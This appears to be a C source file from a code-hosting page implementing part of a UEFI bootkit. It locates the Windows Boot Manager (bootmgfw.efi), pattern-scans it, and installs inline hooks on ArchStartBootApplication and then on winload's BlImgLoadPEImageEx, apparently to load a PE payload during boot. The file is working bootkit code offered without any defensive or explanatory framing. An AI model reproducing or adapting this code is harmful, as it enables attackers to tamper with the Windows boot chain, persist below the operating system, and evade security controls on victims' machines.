You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
95 lines
3.2 KiB
95 lines
3.2 KiB
#include "BootMgfw.h"
|
|
|
|
SHITHOOK BootMgfwShitHook;
|
|
EFI_DEVICE_PATH* EFIAPI GetBootMgfwPath(VOID)
|
|
{
|
|
UINTN HandleCount = NULL;
|
|
EFI_STATUS Result;
|
|
EFI_HANDLE* Handles = NULL;
|
|
EFI_DEVICE_PATH* DevicePath = NULL;
|
|
EFI_FILE_HANDLE VolumeHandle;
|
|
EFI_FILE_HANDLE BootMgfwHandle;
|
|
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
|
|
|
|
// get all the handles to file systems...
|
|
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
|
|
{
|
|
Print(L"error getting file system handles -> 0x%p\n", Result);
|
|
return DevicePath;
|
|
}
|
|
|
|
// for each handle to the file system, open a protocol with it...
|
|
for (UINT32 Idx = 0u; Idx < HandleCount && !FileSystem; ++Idx)
|
|
{
|
|
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
|
|
{
|
|
Print(L"error opening protocol -> 0x%p\n", Result);
|
|
return DevicePath;
|
|
}
|
|
|
|
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
|
|
{
|
|
Print(L"error opening file system -> 0x%p\n", Result);
|
|
return DevicePath;
|
|
}
|
|
|
|
// if we found the correct file (\\efi\\microsoft\\boot\\bootmgfw.efi)
|
|
if (!EFI_ERROR(VolumeHandle->Open(VolumeHandle, &BootMgfwHandle, WINDOWS_BOOTMGR_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY)))
|
|
DevicePath = FileDevicePath(Handles[Idx], WINDOWS_BOOTMGR_PATH);
|
|
|
|
VolumeHandle->Close(BootMgfwHandle);
|
|
if (EFI_ERROR((Result = gBS->CloseProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, gImageHandle, NULL))))
|
|
{
|
|
Print(L"error closing protocol -> 0x%p\n", Result);
|
|
return DevicePath;
|
|
}
|
|
}
|
|
return DevicePath;
|
|
}
|
|
|
|
EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath)
|
|
{
|
|
EFI_STATUS Result = EFI_SUCCESS;
|
|
EFI_LOADED_IMAGE* BootMgfw = NULL;
|
|
|
|
if (EFI_ERROR((Result = gBS->HandleProtocol(BootMgfwPath, &gEfiLoadedImageProtocolGuid, (VOID**)&BootMgfw))))
|
|
return Result;
|
|
|
|
Print(L"Image Base -> 0x%p\n", BootMgfw->ImageBase);
|
|
Print(L"Image Size -> 0x%x\n", BootMgfw->ImageSize);
|
|
|
|
VOID* ArchStartBootApplication =
|
|
FindPattern(
|
|
BootMgfw->ImageBase,
|
|
BootMgfw->ImageSize,
|
|
START_BOOT_APPLICATION_SIG,
|
|
START_BOOT_APPLICATION_MASK
|
|
);
|
|
|
|
if (!ArchStartBootApplication)
|
|
return EFI_ABORTED;
|
|
|
|
Print(L"ArchStartBootApplication -> 0x%p\n", RESOLVE_RVA(ArchStartBootApplication, 5, 1));
|
|
MakeShitHook(&BootMgfwShitHook, RESOLVE_RVA(ArchStartBootApplication, 5, 1), &ArchStartBootApplicationHook, TRUE);
|
|
return Result;
|
|
}
|
|
|
|
EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, VOID* ReturnArgs)
|
|
{
|
|
DisableShitHook(&BootMgfwShitHook);
|
|
VOID* ImgLoadPEImageEx =
|
|
FindPattern(
|
|
ImageBase,
|
|
ImageSize,
|
|
LOAD_PE_IMG_SIG,
|
|
LOAD_PE_IMG_MASK
|
|
);
|
|
|
|
Print(L"PE PayLoad Size -> 0x%x\n", PayLoadSize());
|
|
Print(L"winload base -> 0x%p\n", ImageBase);
|
|
Print(L"winload size -> 0x%x\n", ImageSize);
|
|
Print(L"winload.BlImgLoadPEImageEx -> 0x%p\n", RESOLVE_RVA(ImgLoadPEImageEx, 5, 1));
|
|
|
|
MakeShitHook(&WinLoadImageShitHook, RESOLVE_RVA(ImgLoadPEImageEx, 5, 1), &BlImgLoadPEImageEx, TRUE);
|
|
return ((IMG_ARCH_START_BOOT_APPLICATION)BootMgfwShitHook.Address)(AppEntry, ImageBase, ImageSize, BootOption, ReturnArgs);
|
|
} |